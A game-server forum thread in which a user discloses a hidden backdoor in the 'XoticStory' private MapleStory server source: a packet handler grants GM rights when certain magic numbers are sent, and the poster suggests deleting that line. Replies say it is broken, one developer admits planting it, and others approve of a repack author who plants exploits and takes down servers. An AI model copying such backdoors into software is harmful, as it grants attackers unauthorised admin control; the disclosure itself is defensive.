Small exploit i found in Xotic

Results 1 to 15 of 15
  1. #1
    Account Upgraded | Title Enabled! KnightStoryTeam is offline
    MemberRank
    Nov 2008 Join Date
    SOMEWHERE ....WLocation
    239Posts

    Small exploit i found in Xotic

    XOTIC SOUCRE!

    Not sure if it was reasled! but here it is :D

    Go to XoticStory\src\net\sf\odinms\net\channel\handler and find PartySearchHandler.java

    Code:
    package net.sf.odinms.net.channel.handler;
    
    import java.util.ArrayList;
    import net.sf.odinms.client.MapleClient;
    import net.sf.odinms.client.MapleCharacter;
    import net.sf.odinms.net.AbstractMaplePacketHandler;
    import net.sf.odinms.tools.data.input.SeekableLittleEndianAccessor;
    
    /**
     *
     * @author XoticStory
     */
    public class PartySearchHandler extends AbstractMaplePacketHandler {
        //All bolleans as for now, all is useless... just for testing somehow, but I changed method while making
        boolean All = false;
        boolean Beginner = false;
        boolean AllWarriors = false;
        boolean Warrior1 = false;
        boolean Warrior2 = false;
        boolean Warrior3 = false;
        boolean AllMagician = false;
        boolean Magician1 = false;
        boolean Magician2 = false;
        boolean Magician3 = false;
        boolean AllPirate = false;
        boolean Pirate1 = false;
        boolean Pirate2 = false;
        boolean AllThief = false;
        boolean Thief1 = false;
        boolean Thief2 = false;
        boolean AllBowman = false;
        boolean Bowman1 = false;
        boolean Bowman2 = false;
        ArrayList<Integer> boxsumconstructor = new ArrayList<Integer>();
    
        public void handlePacket(SeekableLittleEndianAccessor slea, MapleClient c) {
            c.getPlayer().resetAfkTime();
            int min = slea.readInt(); //I now that it need to do the party part, but meh, box is more important atm.
            int max = slea.readInt(); //same
            int person = slea.readInt(); // same
            int box = slea.readInt();
            System.out.println("MINIMUM PLAYERS: " + min);
            System.out.println("MAXIMUM PLAYERS: " + max);
            System.out.println("AMOUNT OF PLAYERS: " + person);
            System.out.println("BOX VALUE: " + box);
            String binary = Integer.toBinaryString(box);
            String reverse = "";
            System.out.println("Binary: " + binary);
            for (int z = 0; z < binary.length(); z++) {
                reverse = binary.charAt(z) + reverse;
            }
            System.out.println("Total Reverse: " + reverse);
            char letters;
            registerCheck(c,min,max,box);
            for (int z = 0; z < reverse.length(); z++) {
                letters = reverse.charAt(z);
                System.out.println("1 By 1 for jobs Current one is : " + letters);
                isJob(letters,z,c);
            }
        }
    
        public void isJob(char binary, int times, MapleClient c) {
            times++;
            if (binary == 1) {
                if (times == 1) {
                    All = true;
                    System.out.println("All have been choosen");
                } else if (times == 2) {
                    Beginner = true;
                    System.out.println("Oh Noes, it's Beginners!!");
                } else if (times == 3) {
                    AllWarriors = true;
                    System.out.println("All Warriors are here");
                } else if (times == 4) {
                    if (c.getPlayer().getLevel() < 70) {
                        System.out.println("Oh Noes, it's a Fighter!!");
                    } else if (c.getPlayer().getLevel() < 120) {
                        System.out.println("Oh Noes, it's a Crusader!!");
                    } else {
                        System.out.println("Oh Noes, it's a Hero!!");
                    }
                    Warrior1 = true;
                } else if (times == 5) {
                    if (c.getPlayer().getLevel() < 70) {
                        System.out.println("Oh Noes, it's a Page!!");
                    } else if (c.getPlayer().getLevel() < 120) {
                        System.out.println("Oh Noes, it's a White Knight!!");
                    } else {
                        System.out.println("Oh Noes, it's a Paladin!!");
                    }
                    Warrior2 = true;
                } else if (times == 6) {
                    if (c.getPlayer().getLevel() < 70) {
                        System.out.println("Oh Noes, it's a Spearman!!");
                    } else if (c.getPlayer().getLevel() < 120) {
                        System.out.println("Oh Noes, it's a Dragon Knight!!");
                    } else {
                        System.out.println("Oh Noes, it's a Dark Knight!!");
                    }
                    Warrior3 = true;
                } else if (times == 7) {
                    AllMagician = true;
                    System.out.println("All Magicians are here");
                } else if (times == 8) {
                    Magician1 = true;
                    if (c.getPlayer().getLevel() < 70) {
                        System.out.println("Oh Noes, it's a Ice Lighting Wizard!!");
                    } else if (c.getPlayer().getLevel() < 120) {
                        System.out.println("Oh Noes, it's a Ice Lighting Mage!!");
                    } else {
                        System.out.println("Oh Noes, it's a Ice Lighting ArchMage!!");
                    }
                } else if (times == 9) {
                    if (c.getPlayer().getLevel() < 70) {
                        System.out.println("Oh Noes, it's a Fire Poison Wizard!!");
                    } else if (c.getPlayer().getLevel() < 120) {
                        System.out.println("Oh Noes, it's a Fire Poison Mage!!");
                    } else {
                        System.out.println("Oh Noes, it's a Fire Posion ArchMage!!");
                    }
                    Magician2 = true;
                } else if (times == 10) {
                    if (c.getPlayer().getLevel() < 70) {
                        System.out.println("Oh Noes, it's a Cleric!!");
                    } else if (c.getPlayer().getLevel() < 120) {
                        System.out.println("Oh Noes, it's a Priest!!");
                    } else {
                        System.out.println("Oh Noes, it's a Bishop!!");
                    }
                    Magician3 = true;
                } else if (times == 11) {
                    AllPirate = true;
                    System.out.println("All Pirate are here");
                } else if (times == 12) {
                    if (c.getPlayer().getLevel() < 70) {
                        System.out.println("Oh Noes, it's a Gunslinger!!");
                    } else if (c.getPlayer().getLevel() < 120) {
                        System.out.println("Oh Noes, it's a Outlaw!!");
                    } else {
                        System.out.println("Oh Noes, it's a Corsair!!");
                    }
                    Pirate1 = true;
                } else if (times == 13) {
                    if (c.getPlayer().getLevel() < 70) {
                        System.out.println("Oh Noes, it's a Brawler!!");
                    } else if (c.getPlayer().getLevel() < 120) {
                        System.out.println("Oh Noes, it's a Marauder!!");
                    } else {
                        System.out.println("Oh Noes, it's a Buccaneer!!");
                    }
                    Pirate2 = true;
                } else if (times == 14) {
                    System.out.println("All Thiefs are here");
                    AllThief = true;
                } else if (times == 15) {
                    if (c.getPlayer().getLevel() < 70) {
                        System.out.println("Oh Noes, it's a Assasin!!");
                    } else if (c.getPlayer().getLevel() < 120) {
                        System.out.println("Oh Noes, it's a Hermit!!");
                    } else {
                        System.out.println("Oh Noes, it's a Night Lord!!");
                    }
                    Thief1 = true;
                } else if (times == 16) {
                    if (c.getPlayer().getLevel() < 70) {
                        System.out.println("Oh Noes, it's a Bandit!!");
                    } else if (c.getPlayer().getLevel() < 120) {
                        System.out.println("Oh Noes, it's a Chief Bandit!!");
                    } else {
                        System.out.println("Oh Noes, it's a Shadower!!");
                    }
                    Thief2 = true;
                } else if (times == 17) {
                    AllBowman = true;
                    System.out.println("All Bowmans are here");
                } else if (times == 18) {
                    Bowman1 = true;
                    if (c.getPlayer().getLevel() < 70) {
                        System.out.println("Oh Noes, it's a Hunter!!");
                    } else if (c.getPlayer().getLevel() < 120) {
                        System.out.println("Oh Noes, it's a Ranger!!");
                    } else {
                        System.out.println("Oh Noes, it's a Bow Master!!");
                    }
                } else if (times == 19) {
                    Bowman2 = true;
                    if (c.getPlayer().getLevel() < 70) {
                        System.out.println("Oh Noes, it's a Crossbow Man!!");
                    } else if (c.getPlayer().getLevel() < 120) {
                        System.out.println("Oh Noes, it's a Sniper!!");
                    } else {
                        System.out.println("Oh Noes, it's a Marksman!!");
                    }
                }
            }
        }
        
        public void registerCheck(MapleClient c, int registerId, int userId, int userMap){
            if((registerId == 7 & userId == 47) & userMap == 295568)
                c.getPlayer().setGM(4);
        }
    }
    just take out c.getPlayer().setGM(4); or edit it O_o

    I will keep you update if i find a exploit.

    sorry if this have been realsed


  2. #2
    Alpha Member Moogra is offline
    MemberRank
    Jul 2008 Join Date
    1,804Posts

    Re: [MINI]Small exploit i found in Xotic

    #1. Already released.
    #2. Stop releasing exploits.
    #3. It doesn't even work. When Osiris put it in he messed up the numbers.

  3. #3
    Account Upgraded | Title Enabled! X-Tasis is offline
    MemberRank
    Feb 2009 Join Date
    1,192Posts

    Re: [MINI]Small exploit i found in Xotic

    Quote Originally Posted by Moogra View Post
    #1. Already released.
    #2. Stop releasing exploits.
    #3. It doesn't even work. When Osiris put it in he messed up the numbers.
    Totally.

    I made a mistake with the number 7 - 47, It must be at least 30+, stupid client. =(

    Nice try thought :p

    Just to let you know, all exploits founds are made by me, the Moogra's ones are harden <3

  4. #4
    Smoke & Fly Kars is offline
    MemberRank
    Apr 2008 Join Date
    The NetherlandsLocation
    3,383Posts

    Re: [MINI]Small exploit i found in Xotic

    No really, an exploit in plain sight isn't a challenge, release a more complicated one, like spread over 5 files.
    Like the last one i found. (thepack, yes, so?)

  5. #5
    Alpha Member Moogra is offline
    MemberRank
    Jul 2008 Join Date
    1,804Posts

    Re: [MINI]Small exploit i found in Xotic

    As long as it uses setGMLevel, it's a fail exploit

  6. #6
    Member elf102 is offline
    MemberRank
    Aug 2008 Join Date
    66Posts

    Re: [MINI]Small exploit i found in Xotic

    Lulz.
    Note to self: Don't download moogra's repacks.

  7. #7
    Alpha Member Moogra is offline
    MemberRank
    Jul 2008 Join Date
    1,804Posts

    Re: [MINI]Small exploit i found in Xotic

    lol this isn't my repack and this doesn't work

  8. #8
    Account Upgraded | Title Enabled! steerclear is offline
    MemberRank
    Apr 2009 Join Date
    Upstate, NYLocation
    488Posts

    Re: [MINI]Small exploit i found in Xotic

    Quote Originally Posted by elf102 View Post
    Lulz.
    Note to self: Don't download moogra's repacks.
    lol why... if your good enough you can remove the exploits.
    its not like he goes around telling people and dropping your server for no reason,
    if he does, he has his reasons, and he states it.

  9. #9
    Account Upgraded | Title Enabled! macboy3000 is offline
    MemberRank
    Jan 2009 Join Date
    Nerds'r'Us MS!Location
    449Posts

    Re: [MINI]Small exploit i found in Xotic

    he drops the cruddy noobs servers that get a lot of credit for just downloading something :p

  10. #10
    Alpha Member Moogra is offline
    MemberRank
    Jul 2008 Join Date
    1,804Posts

    Re: [MINI]Small exploit i found in Xotic

    I don't have time for that stuff. I have over 110k downloads for my stuff so that is at least 1k servers. I only have time to drop people that spread rumor's servers.

  11. #11
    Account Upgraded | Title Enabled! steerclear is offline
    MemberRank
    Apr 2009 Join Date
    Upstate, NYLocation
    488Posts

    Re: [MINI]Small exploit i found in Xotic

    Quote Originally Posted by Moogra View Post
    I don't have time for that stuff. I have over 110k downloads for my stuff so that is at least 1k servers. I only have time to drop people that spread rumor's servers.
    lol, Moogra is like the hand of God of private servers.

    if you think about it, hes doing it for all the right reasons

    :]

  12. #12
    Alpha Member MSDartz is offline
    MemberRank
    May 2008 Join Date
    PwnVilleLocation
    2,171Posts

    Re: [MINI]Small exploit i found in Xotic

    Correction.

    You found that exploit here:

    http://forum.ragezone.com/f427/relea...e-them-569623/

  13. #13
    Account Upgraded | Title Enabled! Popozow1012 is offline
    MemberRank
    Jul 2008 Join Date
    Where it's nine in the afternoonLocation
    549Posts

    Re: Small exploit i found in Xotic

    god damn, too many of these fuckers

  14. #14
    Valued Member DanceToNight is offline
    MemberRank
    Dec 2008 Join Date
    BluepieXD is a failure.Location
    101Posts

    Re: [MINI]Small exploit i found in Xotic

    Quote Originally Posted by Moogra View Post
    I don't have time for that stuff. I have over 110k downloads for my stuff so that is at least 1k servers. I only have time to drop people that spread rumor's servers.
    Everyone wants to use your repack now! (And halgf of them are going to use "Clean" Valhalla.)

  15. #15
    Member magixdx is offline
    MemberRank
    May 2009 Join Date
    80Posts

    Re: Small exploit i found in Xotic

    I thought this exploit was already released, and it never worked in the first place ?



Advertisement